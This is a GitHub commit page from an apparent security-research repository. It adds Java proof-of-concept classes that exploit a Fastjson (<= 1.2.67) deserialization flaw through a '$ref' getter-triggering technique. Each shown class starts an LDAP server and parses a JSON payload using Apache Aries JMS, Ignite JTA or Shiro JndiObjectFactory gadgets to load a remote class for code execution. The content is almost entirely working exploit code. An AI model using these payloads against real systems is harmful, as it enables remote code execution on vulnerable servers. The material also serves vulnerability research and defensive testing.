-
Notifications
You must be signed in to change notification settings - Fork 496
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
feat:fastjson一种利用$ref几乎任意getter触发的方法
- Loading branch information
“threedr3am”
committed
Apr 7, 2020
1 parent
f201def
commit ea61297
Showing
7 changed files
with
241 additions
and
13 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
37 changes: 37 additions & 0 deletions
37
fastjson/src/main/java/com/threedr3am/bug/fastjson/rce/AriesJMSPoc.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,37 @@ | ||
package com.threedr3am.bug.fastjson.rce; | ||
|
||
import com.alibaba.fastjson.JSON; | ||
import com.alibaba.fastjson.parser.ParserConfig; | ||
import com.threedr3am.bug.common.server.LdapServer; | ||
import java.io.IOException; | ||
|
||
/** | ||
* todo 发现新的Fastjson利用面,通过$ref引用功能,可以任意触发大部分getter方法,理论可以通过此种方式RCE,还能在不开启AutoType的情况下,任意调用大部分当前反序列化对象的getter方法,若存在危险method,就能进行攻击 | ||
* | ||
* <dependency> | ||
* <groupId>org.apache.aries.transaction</groupId> | ||
* <artifactId>org.apache.aries.transaction.jms</artifactId> | ||
* <version>2.0.0</version> | ||
* </dependency> | ||
* | ||
* @author threedr3am | ||
*/ | ||
public class AriesJMSPoc { | ||
|
||
static { | ||
//rmi server示例 | ||
// RmiServer.run(); | ||
|
||
//ldap server示例 | ||
LdapServer.run(); | ||
} | ||
|
||
public static void main(String[] args) throws IOException { | ||
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); | ||
|
||
String json = "{\"@type\":\"org.apache.aries.transaction.jms.RecoverablePooledConnectionFactory\", \"tmJndiName\": \"ldap://localhost:43658/Calc\", \"tmFromJndi\": true, \"transactionManager\": {\"$ref\":\"$.transactionManager\"}}"; | ||
JSON.parse(json); | ||
} | ||
|
||
|
||
} |
37 changes: 37 additions & 0 deletions
37
fastjson/src/main/java/com/threedr3am/bug/fastjson/rce/AriesJMSPoc2.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,37 @@ | ||
package com.threedr3am.bug.fastjson.rce; | ||
|
||
import com.alibaba.fastjson.JSON; | ||
import com.alibaba.fastjson.parser.ParserConfig; | ||
import com.threedr3am.bug.common.server.LdapServer; | ||
import java.io.IOException; | ||
|
||
/** | ||
* todo 发现新的Fastjson利用面,通过$ref引用功能,可以任意触发大部分getter方法,理论可以通过此种方式RCE,还能在不开启AutoType的情况下,任意调用大部分当前反序列化对象的getter方法,若存在危险method,就能进行攻击 | ||
* | ||
* <dependency> | ||
* <groupId>org.apache.aries.transaction</groupId> | ||
* <artifactId>org.apache.aries.transaction.jms</artifactId> | ||
* <version>2.0.0</version> | ||
* </dependency> | ||
* | ||
* @author threedr3am | ||
*/ | ||
public class AriesJMSPoc2 { | ||
|
||
static { | ||
//rmi server示例 | ||
// RmiServer.run(); | ||
|
||
//ldap server示例 | ||
LdapServer.run(); | ||
} | ||
|
||
public static void main(String[] args) throws IOException { | ||
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); | ||
|
||
String json = "{\"@type\":\"org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory\", \"tmJndiName\": \"ldap://localhost:43658/Calc\", \"tmFromJndi\": true, \"transactionManager\": {\"$ref\":\"$.transactionManager\"}}"; | ||
JSON.parse(json); | ||
} | ||
|
||
|
||
} |
38 changes: 38 additions & 0 deletions
38
fastjson/src/main/java/com/threedr3am/bug/fastjson/rce/IgniteJtaPoc.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,38 @@ | ||
package com.threedr3am.bug.fastjson.rce; | ||
|
||
import com.alibaba.fastjson.JSON; | ||
import com.alibaba.fastjson.parser.ParserConfig; | ||
import com.threedr3am.bug.common.server.LdapServer; | ||
import java.io.IOException; | ||
|
||
/** | ||
* todo 发现新的Fastjson利用面,通过$ref引用功能,可以任意触发大部分getter方法,理论可以通过此种方式RCE,还能在不开启AutoType的情况下,任意调用大部分当前反序列化对象的getter方法,若存在危险method,就能进行攻击 | ||
* | ||
* fastjson <= 1.2.67 | ||
* | ||
* <dependency> | ||
* <groupId>org.apache.ignite</groupId> | ||
* <artifactId>ignite-jta</artifactId> | ||
* <version>2.8.0</version> | ||
* </dependency> | ||
* | ||
* @author threedr3am | ||
*/ | ||
public class IgniteJtaPoc { | ||
|
||
static { | ||
//rmi server示例 | ||
// RmiServer.run(); | ||
|
||
//ldap server示例 | ||
LdapServer.run(); | ||
} | ||
|
||
public static void main(String[] args) throws IOException { | ||
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); | ||
|
||
String json = "{\"@type\":\"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup\", \"jndiNames\":[\"ldap://localhost:43658/Calc\"], \"tm\": {\"$ref\":\"$.tm\"}}"; | ||
JSON.parse(json); | ||
} | ||
|
||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
31 changes: 31 additions & 0 deletions
31
fastjson/src/main/java/com/threedr3am/bug/fastjson/rce/ShiroPoc2.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,31 @@ | ||
package com.threedr3am.bug.fastjson.rce; | ||
|
||
import com.alibaba.fastjson.JSON; | ||
import com.alibaba.fastjson.parser.ParserConfig; | ||
import com.threedr3am.bug.common.server.LdapServer; | ||
import java.io.IOException; | ||
|
||
/** | ||
* todo 发现新的Fastjson利用面,通过$ref引用功能,可以任意触发大部分getter方法,理论可以通过此种方式RCE,还能在不开启AutoType的情况下,任意调用大部分当前反序列化对象的getter方法,若存在危险method,就能进行攻击 | ||
* | ||
* fastjson <= 1.2.67 | ||
* | ||
* @author threedr3am | ||
*/ | ||
public class ShiroPoc2 { | ||
static { | ||
//rmi server示例 | ||
// RmiServer.run(); | ||
|
||
//ldap server示例 | ||
LdapServer.run(); | ||
} | ||
|
||
public static void main(String[] args) throws IOException { | ||
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); | ||
|
||
String json = "{\"@type\":\"org.apache.shiro.jndi.JndiObjectFactory\",\"resourceName\":\"ldap://localhost:43658/Calc\",\"instance\":{\"$ref\":\"$.instance\"}}"; | ||
JSON.parse(json); | ||
|
||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters